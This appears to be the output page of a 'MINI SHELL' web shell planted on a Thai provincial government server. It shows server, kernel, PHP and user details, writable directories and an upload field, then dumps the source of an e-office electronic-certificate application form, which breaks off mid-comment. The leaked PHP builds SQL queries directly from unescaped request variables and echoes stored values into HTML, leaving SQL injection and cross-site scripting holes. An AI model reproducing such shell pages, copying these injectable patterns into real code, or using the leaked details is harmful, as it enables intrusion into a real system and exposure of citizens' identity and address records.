MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/CA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/CA/ca_member.php
<?
@session_start() ;

require_once "config/config.ini.php";
require_once "common/database.class.php";
include("../../common/CA/class.openssl.php");

?>
<html>
<head>
<title></title>
<META http-equiv=Content-Type content="text/html; charset=windows-874">
<SCRIPT language='javascript' src='daily_popcalendar.js'></SCRIPT>
<SCRIPT language='javascript' src='displayelement.js'></SCRIPT>
<style>
	.preload{
	border: 1px solid #999;
	margin: 0px;
	position:relative;
	color: #000;
	background-color: #EFECFF;	
	padding-right: 5px;
	padding-left: 5px;
	padding-top: 2px;
	padding-bottom: 2px;
}

</style>
<?

$db = new database();
$x=$db->connect();

if($_POST[xaction]!=""){
	
	$d=explode("/",$birth_date);
	$birth_date=($d[2]-543)."-".$d[1]."-".$d[0];
	
	if(!$action){
	$strSQL="
	INSERT INTO `ca_member` SET	
	`serial_number`='$serail_number',
	`member_id`='$member_id',
	`org_minitry`='$ministry',
	`org_department`='$department',  	
	`org_id`='$office_id',
	`org_tel`='$org_tel',
	`org_mobile`='$org_mobile',
	`org_fax`='$org_fax',
	`ps_prename_th`='$prename_th',
	`ps_name_th`='$name_th',
	`ps_surname_th`='$surname_th',
	`ps_prename_en`='$prename_en',
	`ps_name_en`='$name_en',
	`ps_surname_en`='$surname_en',
	`ps_birth_date`='$birth_date',
	`ps_nationality`='$nationality',
	`ps_race`='$country',	
	`ps_card_type`='$card_type',
	`ps_card_ID`='$public_idcard',
	`ps_home_no`='$address',
	`ps_home_moo`='$address_info',
	`ps_home_soi`='$personal_soi',
	`ps_home_road`='$personal_road',
	`ps_home_villa`='$personal_villa',
	`ps_home_tambon`='$personal_tambon',
	`ps_home_amphur`='$personal_amphur',
	`ps_home_province`='$province_name',
	`ps_home_zipcode`='$personal_zipcode',
	`ps_home_tel`='$personal_tel',
	`ps_home_fax`='$personal_fax',
	`ps_home_mobile`='$personal_mobile',
	`sign_type`='$sign_type',
	`ps_email`='$personal_email',
	`req_email`='$req_email',
	`req_phone`='$req_phone',
	`req_add`='$req_add',
	`req_fax`='$req_fax',
	`req_email_label`='$req_email_label',
	`req_phone_label`='$req_phone_label',
	`req_add_label`='$req_add_label',
	`req_fax_label`='$req_fax_label',
	date_req=NOW()";
	}else{
	$strSQL="
	UPDATE `ca_member` SET
	`serial_number`='$serail_number',
	`org_minitry`='$ministry',
	`org_department`='$department',  	
	`org_id`='$office_id',
	`org_tel`='$org_tel',
	`org_mobile`='$org_mobile',
	`org_fax`='$org_fax',
	`ps_prename_th`='$prename_th',
	`ps_name_th`='$name_th',
	`ps_surname_th`='$surname_th',
	`ps_prename_en`='$prename_en',
	`ps_name_en`='$name_en',
	`ps_surname_en`='$surname_en',
	`ps_birth_date`='$birth_date',
	`ps_nationality`='$nationality',
	`ps_race`='$country',	
	`ps_card_type`='$card_type',
	`ps_card_ID`='$public_idcard',
	`ps_home_no`='$address',
	`ps_home_moo`='$address_info',
	`ps_home_soi`='$personal_soi',
	`ps_home_road`='$personal_road',
	`ps_home_villa`='$personal_villa',
	`ps_home_tambon`='$personal_tambon',
	`ps_home_amphur`='$personal_amphur',
	`ps_home_province`='$province_name',
	`ps_home_zipcode`='$personal_zipcode',
	`ps_home_tel`='$personal_tel',
	`ps_home_fax`='$personal_fax',
	`ps_home_mobile`='$personal_mobile',
	`sign_type`='$sign_type',
	`ps_email`='$personal_email',
	`req_email`='$req_email',
	`req_phone`='$req_phone',
	`req_add`='$req_add',
	`req_fax`='$req_fax',
	`req_email_label`='$req_email_label',
	`req_phone_label`='$req_phone_label',
	`req_add_label`='$req_add_label',
	`req_fax_label`='$req_fax_label'
	WHERE id='$mid';
	";	
	}
	//echo "<pre>".$strSQL;die;
	mysql_query($strSQL)or die(mysql_error()."<br>".$strSQL);
	if($xaction=="admin"){
		echo "<meta http-equiv='refresh' content='0;url=ca_member_dashboard.php'>" ;
	    die;
	 }else if($xaction=="user"){
	    echo "<center>ระบบได้บันทึกข้อมูลเรียบร้อย<br>
เมื่อได้รับการอนุมัติใบรับรองอิเล็กทรอนิกส์แล้วผู้ดูแลระบบจะแจ้งให้ทราบทางช่องทางที่ได้เลือกไว้<br>
<a href='spash.php'>กลับ</a>
</center>" ;
	    die;		
	}
	
	
}
?>

<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
.comment{
	color:#F00;
	
	}

INPUT{
	FONT-SIZE: 12px; FONT-FAMILY: Tahoma,  "Microsoft Sans "; 
	}
-->
</style>
<link href="css/style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="700" border="0" align="center" cellpadding="10" cellspacing="0">
  <tr>
    <td align="center">
	
	
	
	

<script language="javascript">

function ValidateDoc()
{   
    var cr        = unescape("\n");
    var ErrorMsg  = "เกิดข้อผิดพลาดดังนี้ :  "+cr+cr;
    var InitLen   = ErrorMsg.length;
    var TheForm   = document.frm1;
	var emailRegEx = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i;

	if (TheForm.office_id.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อส่วนราชการ  " + cr;
	if (TheForm.ministry.value.length < 1)
       ErrorMsg =  ErrorMsg + "กระทรวง  " + cr;	  	    
	if (TheForm.department.value.length < 1)
       ErrorMsg =  ErrorMsg + "กรม  " + cr;	 	  	      
	if (TheForm.org_tel.value.length < 1)
       ErrorMsg =  ErrorMsg + "โทรศัพท์  " + cr;	   
	if (TheForm.prename_th.value.length < 1)
       ErrorMsg =  ErrorMsg + "คำนำหน้าชื่อ  " + cr;
	if (TheForm.name_th.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อ  " + cr;
	if (TheForm.surname_th.value.length < 1)
       ErrorMsg =  ErrorMsg + "นามสกุล  " + cr;	   
	if (TheForm.birth_date.value.length < 1)
       ErrorMsg =  ErrorMsg + "วันเดือนปีเกิด  " + cr;	   	   	   
	if (TheForm.country.value.length < 1)
       ErrorMsg =  ErrorMsg + "เชื้อชาติ  " + cr;	   	    	     
	if (TheForm.province_name.value.length < 1)
       ErrorMsg =  ErrorMsg + "จังหวัด  " + cr;	   
	if (TheForm.personal_email.value.search(emailRegEx) == -1)
       ErrorMsg =  ErrorMsg + "อีเมล์ไม่ถูกต้อง " + cr;   
	 if(TheForm.req_email_label.value.length>0 ){
		if (TheForm.req_email_label.value.search(emailRegEx) == -1)
       ErrorMsg =  ErrorMsg + "อีเมล์แจ้งผลไม่ถูกต้อง " + cr; 
		}
	 
	 
	 
	 
     if(document.getElementById('PIN_card_selected').checked ){
		 if(document.getElementById('public_idcard').value==""){
			  ErrorMsg =  ErrorMsg + "ไม่กรอกเลขบัตรประชาชน  " + cr;
		 }else{
			if(!checkPIN()){
					return (false);
			}
			 }
		
	 }else{
	     if(TheForm.gov_idcard.value.length==0){
		  ErrorMsg =  ErrorMsg + "ไม่กรอกเลขบัตรข้าราชการ  " + cr;	
		  }
	 } 
	 
	if ( ErrorMsg.length > InitLen ){
        alert( ErrorMsg );
        return (false);
    }  
	return(true);
	
}

function genname(){
document.frm1.organization.value=document.frm1.prename.value+ ' '+document.frm1.fname.value+' '+document.frm1.lname.value
}
</script>
<SCRIPT LANGUAGE="JavaScript">

  var xmlHttp;
function createXMLHttpRequest() {
    if (window.ActiveXObject) {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    } 
    else if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
  	  }
	}
	
function handleStateChange() {
    if(xmlHttp.readyState == 4) {
        if(xmlHttp.status == 200) {
            updateproductList();
        }
    }
}

function updateproductList() {
    clearproductList();
    var department = document.getElementById("department");
    var results = xmlHttp.responseText;
	//alert(results);
    var option = null;
    p=results.split(",");
	       option = document.createElement("option");
		   option.setAttribute("value",0);
           option.appendChild(document.createTextNode("ไม่ระบุ"));
           department.appendChild(option);
    for (var i = 0; i < p.length; i++){
	if(p[i] > ""){
			x = p[i].split("::");
           option = document.createElement("option");
		   option.setAttribute("value",x[1]);
           option.appendChild(document.createTextNode(x[0]));
           department.appendChild(option);
	}
    }
}
	function clearproductList() {
    var department = document.getElementById("department");
    while(department.childNodes.length > 0) {
              department.removeChild(department.childNodes[0]);
    }
}

function refreshproductList() {
   var ministry = document.getElementById("ministry").value;
    if(ministry == "" ) {
        clearproductList();
        return;
		}
    var url = "ajax_minitry.php?ministry_id=" + ministry;
	createXMLHttpRequest();
    xmlHttp.onreadystatechange = handleStateChange;
    xmlHttp.open("GET", url, true);
    xmlHttp.send(null);
}  

function refreshproductListMAIN() {
   var org_id = document.getElementById("office_id").value;
    if(org_id == "" ) {
		clearproductList();
		document.getElementById("ministry").selectedIndex = 0;
        return false;
	}
   var url = "ajax_minitryNsub.php?org_id=" + org_id +"&time=" + Math.random() ;
    //alert(url);   
    createXMLHttpRequest();
    xmlHttp.onreadystatechange = handleStateChangeMAIN;
    xmlHttp.open("GET", url, true);
    xmlHttp.send(null);
}  
	
function handleStateChangeMAIN() {
    if(xmlHttp.readyState == 4) {
        if(xmlHttp.status == 200) {
            updateproductListMAIN();
        }
    }
}

function updateproductListMAIN() {
    clearproductList();
    var department = document.getElementById("department");
    var results = xmlHttp.responseText;
	//alert(results);
    var option = null;
	pMAIN=results.split("///");

    p=pMAIN[1].split(",");
   option = document.createElement("option");
   option.setAttribute("value",0);
   option.appendChild(document.createTextNode(" - เลือกกรม - "));
   department.appendChild(option);
	q=pMAIN[0].split("::");	
	//alert(pMAIN[0]);	
	for (var i = 0; i < p.length; i++){
		if(p[i] > "" ){
				x = p[i].split("::");
			   option = document.createElement("option");
			   option.setAttribute("value",x[1]);
			   option.appendChild(document.createTextNode(x[0]));
			   department.appendChild(option);
		}
    }
	if(q[3]!=""){	document.getElementById("ministry").selectedIndex = q[3]; }
	if(q[4]!=""){	document.getElementById("department").selectedIndex = q[4]; }	
}
// @date 2009/06/05 @by Kridsada 
function clearTxt(sel, txt)
{
	var index  = sel.selectedIndex;
    var selValue = sel.options[index].value;
	if(selValue != "")
	{
		txt.value = "";
	}
}
// @date 2009/06/05 @by Kridsada 
function clearSel(txt, sel)
{
	var value = txt.value;
	if(value.length != 0)
	{
		sel.selectedIndex = 0;
	}
}
</script>
<?php
if($xfromaction=="new"){
	$strSQL="SELECT * FROM member  where serial_number='$CA_SN'";
	$result=mysql_query($strSQL);
	$rowx=mysql_fetch_assoc($result);	
	 $xmember_id=$rowx[member_id];
	$xprename=$rowx[prename];
	$xfname=$rowx[fname];
	$xlname=$rowx[sname];
	$xemail=$rowx[email];
	$org_id=$rowx[organization_unit];
	//echo "$xlname";
}elseif($xfromaction=="edit"){
	$strSQL="SELECT * from `ca_member` WHERE id ='$mid'  limit 1";
	$result=mysql_query($strSQL);
	$row=mysql_fetch_assoc($result);	

}elseif($xfromaction=="renew"){
		$strSQL="SELECT * from `ca_member` WHERE serial_number ='$CA_SN'  order by date_req desc  limit 1";
	$result=mysql_query($strSQL);
	$row=mysql_fetch_assoc($result);	
	
	}
//echo "<pre>"; print_r($row); echo "</pre>";
?>
<form action="" method="post" name="frm1" onSubmit= "return ValidateDoc()">
<table width="100%" border="0" cellspacing="0" cellpadding="5">
  <tr>
    <td colspan="4"><span class="mainlevel"><strong>คำขอใช้บริการใบรับรองอิเล็กทรอนิกส์ / แบบฟอร์มการสมัคร</strong>&nbsp;    &nbsp;</span></td>
    </tr>

  <tr>
    <td colspan="3" align="left">&nbsp;</td>
    <td width="386" align="right" class="mainlevel">
	  <nobr>
      <?
       if($xfromaction=="new" || ($xfromaction=="edit"&& $row['sign_type']=='1')){
	  ?>
	    <input name="sign_type" id="new_member_type" type="radio" value="1" checked onClick="new_member()">
      สมัครใหม่ 
      <?
	   }else if($xfromaction=="renew"  || ($xfromaction=="edit"&& $row['sign_type']=='2')){
	  ?>
        <input name="sign_type" id="continue_member_type" type="radio" value="2"  checked onClick="continue_member()">
        ต่ออายุ
       <?
	   }
	   ?> 
	  <script language="javascript">
	  	function new_member(){
			/*if(document.getElementById('new_member_type').checked==true){ 
			document.getElementById('serail_number_tbl').style.display='block';
			}*/
		}
	  	function continue_member(){
			/*if(document.getElementById('continue_member_type').checked==true){ 
			document.getElementById('serail_number_tbl').style.display='block';
			}*/
		}		
	  </script>		</td>
  </tr>
  <tr id="serail_number_tbl" >
    <td colspan="3" align="right">&nbsp;</td>
    <td align="right" class="mainlevel">SERAIL NUMBER
    
   <?
   if($xfromaction="new"){$readonly="readonly";}
   ?>
      <input name="serail_number" type="text"  <?=$readonly?>    value="<?
	  if($CA_SN!=""){
		  echo $CA_SN	;
		}else{
		echo $row[serial_number]	;
			}
	  
	  
	  ?>"  style="background-color:#CCC"></td>
  </tr>

  <tr>
    <td colspan="4" align="left" bgcolor="#CCCCCC"><strong>ข้อมูลองค์กร</strong></td>
    </tr>
  <tr>
    <td width="22" align="left" valign="top">&nbsp;</td>
    <td width="241" align="left" valign="top"><strong>ชื่อส่วนราชการ</strong></td>
    <td colspan="2" align="left" class="comment">
	<SELECT name="office_id" id="office_id" onChange="refreshproductListMAIN();" style="width:250px;">
      <OPTION value=""> - ระบุหน่วยงาน - </OPTION>
      <?
		$sql_office = "SELECT * FROM org_staffgroup WHERE groupname NOT LIKE '%Guest%' AND groupname NOT LIKE '%Administrator%' ORDER BY groupname  ASC"; // group_type == "1" คือเลือกเฉพาะที่เป็นหน่วยงานเท่านั้น 
		$Result_office = mysql_query($sql_office);
		while($rs_of = mysql_fetch_assoc($Result_office)){
			if($org_id!=""){
				if($rs_of[groupname] == $org_id){ $sel = "selected";}else{ $sel = "";}
			}else{
			if($rs_of[gid] == $row[org_id]){ $sel = "selected";}else{ $sel = "";}
			}
			echo "<option value='$rs_of[gid]' $sel title='$rs_of[groupname]'>$rs_of[groupname]</option>";
		}
		?>
    </SELECT>
*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>กระทรวง</strong></td>
    <td colspan="2" align="left" class="comment"><select name="ministry" id="ministry" onChange="refreshproductList();" style="width:250px;">
        <option value="0"> - เลือกกระทรวง - </option>
        <?
				   	$sql_ministry = "SELECT * FROM ministry_lbl ORDER BY name ASC";
					$result_ministry = mysql_query($sql_ministry);
					while($rs_m = mysql_fetch_assoc($result_ministry)){
							if($rs_m[moc_id] == $row[org_minitry]){ $sel = "selected";}else{ $sel = "";}
						echo "<option value='$rs_m[moc_id]' $sel >$rs_m[name]</option>";
					}
				   ?>
    </select>
*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>กรม</strong></td>
    <td colspan="2" align="left" class="comment">
	<SELECT name="department" id="department" style="width:250px;">
      <OPTION value="0"> - เลือกกรม - </OPTION>
      <? 
					 	$sql_dep = "SELECT * FROM  department_lbl WHERE pv_code='$row[org_minitry]'";
						$result_dep = mysql_query($sql_dep);
						while($rs_dep = mysql_fetch_assoc($result_dep)){
						if($rs_dep[dev_id] == $row[org_department]){ $sel = "selected";}else{ $sel = "";}
						echo "<option value='$rs_dep[dev_id]' $sel >$rs_dep[name]</option>";
						}
					 ?>
    </SELECT>
*
<?
if($row[org_id]){
///echo "<script language=javascript>refreshproductListMAIN();</script>";
}
?>
</td>
  </tr>
  
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>โทรศัพท์</strong></td>
    <td colspan="2" align="left" class="comment"><input name="org_tel" type="text" style="width:250px;" id="org_tel"  value="<?php echo "$row[org_tel]"; ?>"/>
*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>โทรศัพท์มือถือ</strong></td>
    <td colspan="2" align="left" class="comment"><input name="org_mobile" type="text" style="width:250px;" id="org_mobile"   value="<?php echo "$row[org_mobile]"; ?>" /></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>โทรสาร</strong></td>
    <td colspan="2" align="left" class="comment"><input name="org_fax" type="text" style="width:250px;" id="org_fax"    value="<?php echo "$row[org_fax]"; ?>"/></td>
  </tr>
  <tr>
    <td colspan="4" align="left">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="4" align="left" bgcolor="#CCCCCC"><strong>ผู้ขอใช้บริการใบรับรองอิเล็กทรอนิกส์ </strong></td>
    </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>คำนำหน้าชื่อ</strong></td>
    <td colspan="2" align="left" class="comment"><input name="prename_th" type="text" style="width:250px;" id="prename_th"   value="<?= $row[ps_prename_en]?$row[ps_prename_en]:$xprename ?>"/>
      *</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>ชื่อ</strong></td>
    <td colspan="2" align="left" class="comment"><input name="name_th" type="text" style="width:250px;" id="name_th"    value="<?=  $row[ps_name_th]?$row[ps_name_th]:$xfname ?>"/>
      *</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>นามสกุล</strong></td>
    <td colspan="2" align="left" class="comment"><input name="surname_th" type="text" style="width:250px;" id="surname_th"    value="<?= $row[ps_surname_th]?$row[ps_surname_th]:$xlname  ?>"/>
      *</td>
  </tr>
  
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>PRENAME</strong></td>
    <td colspan="2" align="left" class="comment"><input name="prename_en" type="text" style="width:250px;" id="prename_en"   value="<?php echo "$row[ps_prename_en]"; ?>"/></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>NAME</strong></td>
    <td colspan="2" align="left" class="comment"><input name="name_en" type="text" style="width:250px;" id="name_en"  /  value="<?php echo "$row[ps_name_en]"; ?>"></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>SURNAME</strong></td>
    <td colspan="2" align="left" class="comment"><input name="surname_en" type="text" style="width:250px;" id="surname_en"    value="<?php echo "$row[ps_surname_en]"; ?>"/>
        </span></td>
  </tr>
  
  
  
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>อีเมล์</strong></td>
    <td colspan="2" class="comment">
    <input type="text" name="personal_email" id="personal_email" style="width:250px;"
     value="<?=$row[ps_email]?$row[ps_email]:$xemail ?>"></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>วันเดือนปีเกิด </strong></td>
	<? 
	if($row[ps_birth_date]){
		$d=explode("-",$row[ps_birth_date]);
		$birth_date=$d[2]."/".$d[1]."/".($d[0]+543);
	}
	
	?>
    <td colspan="2" class="comment">
	  <INPUT name="birth_date" type="text" onFocus="blur();" value="<?=($birth_date)?$birth_date:date("d/m/").(date("Y")+543)?>" style="width:125px;" readonly   >
      <INPUT name="button2" type="button" style='font-size:11px; width:80px;' onClick="popUpCalendar(this, form.birth_date, 'dd/mm/yyyy')" value='วัน เดือน ปี'>
      *</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>เชื้อชาติ</strong></td>
    <td colspan="2" class="comment">
	<SELECT name="country" style="width:125px;" onChange="document.post.book_country.value=this.value">
			<OPTION value="">- ระบุประเทศ -</OPTION>
			<? // if(!$rs_person[country]){$rs_person[country]="LA";}?>
			<? 
			  $row[ps_race]=($row[ps_race])?$row[ps_race]:"THA";
			  $sql_nationality=" SELECT country_id as id, country_en as nationality_th FROM tbl_country order by id";
			  $result=mysql_query($sql_nationality);
			  while($rs_nationality=mysql_fetch_assoc($result)){
			  if($row[ps_race]==$rs_nationality[id]){$selected="selected";}else{$selected="";}
			?>
			<OPTION value="<?=$rs_nationality[id]?>" title="<?=$rs_nationality[nationality_en]?>" <?=$selected?>>
			<?=$rs_nationality[id]?>
				-
				<?=$rs_nationality[nationality_th]?>
			</OPTION>
			<? }?>
	</SELECT>
	*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>สัญชาติ</strong></td>
    <td colspan="2" class="comment">
	
	<SELECT name="nationality" style="width:125px;" disabled="disabled">
      <OPTION value="">- ระบุสัญชาติ -</OPTION>
      <?php 
			$row[ps_nationality]=($row[ps_nationality])?$row[ps_nationality]:"T03";
			 $sql_nationality=" SELECT * FROM tbl_nationality order by id";
			 $result=mysql_query($sql_nationality);
			 while($rs_nationality=mysql_fetch_assoc($result)){
				if($row[ps_nationality]==$rs_nationality[id]){
					$selected="selected";
				}else{
					$selected="";
				}
	?>
      <OPTION value="<?=$rs_nationality[id]?>" title="<?=$rs_nationality[nationality_th]?>" <?=$selected?> ><?php echo $rs_nationality[id]."-".$rs_nationality[nationality_en];?> </OPTION>
      <? }?>
    </SELECT>
	<input name="nationality" type="hidden" style="width:250px;" id="nationality" value="<?=$rs_person[nationality]?>" />
*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>บัตร</strong></td>
    <td colspan="2" class="comment">
	<input name="card_type" id="PIN_card_selected" type="radio" value="1" onClick="pin_selected()" <?=($row[ps_card_type]==1||!$row[ps_card_type])?"checked":"";?> >
บัตรประจำตัวประชาชน 
  <input name="card_type"  id="GOV_card_selected" type="radio" value="2"  onClick="gov_selected()" <?=($row[ps_card_type]==2)?"checked":"";?>>
      บัตรข้าราชการ
	  <script language="javascript">
	  	function pin_selected(){
			if(document.getElementById('PIN_card_selected').checked==true){ 
			document.getElementById('PIN_card_tbl').style.display='block';
			document.getElementById('GOV_card_tbl').style.display='none';
			}
		}
	  	function gov_selected(){
			if(document.getElementById('GOV_card_selected').checked==true){ 
			document.getElementById('GOV_card_tbl').style.display='block';
			document.getElementById('PIN_card_tbl').style.display='none';
			}
		}		
		function Filter_Keyboard() {
		  var keycode = window.event.keyCode;
		  if( keycode >=37 && keycode <=40 ) return true;  // arrow left, up, right, down  
		  if( keycode >=48 && keycode <=57 ) return true;  // key 0-9
		  if( keycode >=96 && keycode <=105 ) return true;  // numpad 0-9
		  if( keycode ==110 || keycode ==190  ) return true;  // dot
		  if( keycode ==8  ) return true;  // backspace
		  if( keycode ==9 ) return true;  // tab
		  if( keycode ==45 ||  keycode ==46 || keycode ==35 || keycode ==36) return true;  // insert, del, end, home
		  return false;
		}		
		
		function checkID(id) {
			if(id.length != 13) return false;
			for(i=0, sum=0; i < 12; i++)	
			sum += parseFloat(id.charAt(i))*(13-i);
			if((11-sum%11)%10!=parseFloat(id.charAt(12))) return false;
			return true;
		}
		function checkPIN() {
		  if(document.getElementById('public_idcard').value != "" ){
			if(!checkID(document.getElementById('public_idcard').value)){
				alert('รหัสบัตรประชาชนไม่ถูกต้อง กรุณาตรวจอีกครั้ง !!');
				return false;
			}else{
			return true;
			}	
		  }			
		}		
	  </script>	  </td>
  </tr>
  <tr id="PIN_card_tbl" style="display:<?=($row[ps_card_type]==1)?"block":"none";?>">
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>บัตรประจำตัวประชาชน</strong></td>
    <td colspan="2" class="comment">
	<INPUT name="public_idcard" type="text" id="public_idcard" maxlength="13"  style="width:250px;" onBlur="return checkPIN();" onKeyDown="return Filter_Keyboard();" value="<?=($row[ps_card_type]==1)?$row[ps_card_ID]:""?>" >
	 <br>* ต้องระบุเลขบัตรประจำตัวประชาชน 13 หลักเท่านั้น	</td>
  </tr>
  <tr id="GOV_card_tbl" style="display:<?=($row[ps_card_type]==2)?"block":"none";?>">
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>บัตรข้าราชการ</strong></td>
    <td colspan="2" align="left" class="comment"><input name="gov_idcard" maxlength="13" type="text" style="width:250px;" id="gov_idcard" onKeyDown="return Filter_Keyboard();" value="<?=($row[ps_card_type]==2)?$row[ps_card_ID]:""?>" />
*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>โทรศัพท์</strong></td>
    <td colspan="2" align="left" class="comment"><input name="personal_tel" type="text" style="width:250px;" id="personal_tel"    value="<?php echo "$row[ps_home_tel]"; ?>"/>
*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>โทรศัพท์มือถือ</strong></td>
    <td colspan="2" align="left" class="comment"><input name="personal_mobile" type="text" style="width:250px;" id="personal_mobile"    value="<?php echo "$row[ps_home_mobile]"; ?>"/></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>โทรสาร</strong></td>
    <td colspan="2" align="left" class="comment"><input name="personal_fax" type="text" style="width:250px;" id="personal_fax"    value="<?php echo "$row[ps_home_fax]"; ?>"/></td>
  </tr>
  
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>ที่อยู่</strong></td>
    <td colspan="2" class="comment">
      <input name="address" type="text" style="width:50px;" id="address"    value="<?php echo "$row[ps_home_no]"; ?>"/>
      <input name="address_info" type="text" style="width:195px;" id="address_info"   value="<?php echo "$row[ps_home_moo]"; ?>" />
    
	</span></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>ซอย</strong></td>
    <td colspan="2" class="comment"><input name="personal_soi" type="text" style="width:250px;" id="personal_soi"    value="<?php echo "$row[ps_home_soi]"; ?>"/>
        </span></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>ถนน</strong></td>
    <td colspan="2" class="comment"><input name="personal_road" type="text" style="width:250px;" id="personal_road"    value="<?php echo "$row[ps_home_road]"; ?>"/>
        </span></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>หมู่บ้าน</strong></td>
    <td colspan="2" class="comment">
      <input name="personal_villa" type="text" style="width:250px;" id="personal_villa"   value="<?php echo "$row[ps_home_villa]"; ?>" />
	</span></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>ตำบล</strong></td>
    <td colspan="2" class="comment">
      <input name="personal_tambon" type="text" style="width:250px;" id="personal_tambon"   value="<?php echo "$row[ps_home_tambon]"; ?>" />
	</span></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>อำเภอ</strong></td>
    <td colspan="2" class="comment">
      <input name="personal_amphur" type="text" style="width:250px;" id="personal_amphur"    value="<?php echo "$row[ps_home_amphur]"; ?>"/>
	</span></td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>จังหวัด</strong></td>
    <td colspan="2" class="comment"><SELECT name="province_name" id="province_name" style="width:250px;">
        <OPTION value=""> - เลือกจังหวัด - </OPTION>
        <?
			$sql_pro = "SELECT * FROM  tbl_province ORDER BY $db_master.tbl_province.province ASC";
			$result_pro = mysql_query($sql_pro);
			while($rs_pro = mysql_fetch_assoc($result_pro)){
				if($row[ps_home_province] == $rs_pro[id]){ $sel = "selected='selected'";}else{ $sel = "";}
				echo "<option value='$rs_pro[id]' $sel>$rs_pro[province]</option>";
			}
		?>
      </SELECT>
	</span>*</td>
  </tr>
  <tr>
    <td align="left" valign="top">&nbsp;</td>
    <td align="left" valign="top"><strong>รหัสไปรณีย์</strong></td>
    <td colspan="2" class="comment">
      <input name="personal_zipcode" type="text" style="width:250px;" id="personal_zipcode"    value="<?php echo "$row[ps_home_zipcode]"; ?>"/>
	</span></td>
  </tr>
  <tr>
    <td colspan="4" align="left" bgcolor="#999999"><strong>สำหรับแจ้งผลการอนุมัติใบรับรองอิเล็กทรอนิกส์ </strong></td>
    </tr>
  <tr>
    <td colspan="3" align="left"><label>
      <input name="req_email" type="checkbox" id="req_email"  
	  <?=$row[req_email]?"checked": "" ?>    value="1">
      <strong>แจ้งผลการอนุมัติทางอีเมล์</strong></label></td>
    <td align="left"><span class="comment">
      <input name="req_email_label" type="text" id="req_email_label" style="width:250px;" maxlength="255" value="<?=$row[req_email_label]?>">
    </span></td>
  </tr>
  <tr>
    <td colspan="3" align="left"> <label><input name="req_phone" type="checkbox" id="req_phone"  <?=$row[req_phone]?"checked": "" ?> value="1">
      <strong>แจ้งผลการอนุมัติทางโทรศัพท์</strong></label></td>
    <td align="left"><strong><span class="comment">
      <input name="req_phone_label" type="text" id="req_phone_label" style="width:250px;" maxlength="255" value="<?=$row[req_phone_label]?>">
    </span></strong></td>
  </tr>
  <!-- #  REQ :: งดแจ้งข้อมูลทางโทรสารแล้ว ที่อยู่(ไปรษณ๊ย์)
  <tr>
    <td colspan="3" align="left">
    <label>
<input name="req_fax" type="checkbox" id="req_fax" value="1" <?=$row[req_fax]?"checked": "" ?> >
      <strong>แจ้งผลการอนุมัติทางโทรสา์ร</strong></label></td>
    <td align="left"><strong><span class="comment">
      <input type="text" name="req_fax_label" id="req_fax_label" style="width:250px;" value="<?=$row[req_fax_label] ?>">
    </span></strong></td>
  </tr>
  <tr>
    <td colspan="3" align="left"><label>
<input name="req_add" type="checkbox" id="req_add" value="1" <?=$row[req_add]?"checked": "" ?> >
      <strong>แจ้งผลการอนุมัติทางที่อยู่</strong></label></td>
    <td align="left"><strong><span class="comment">
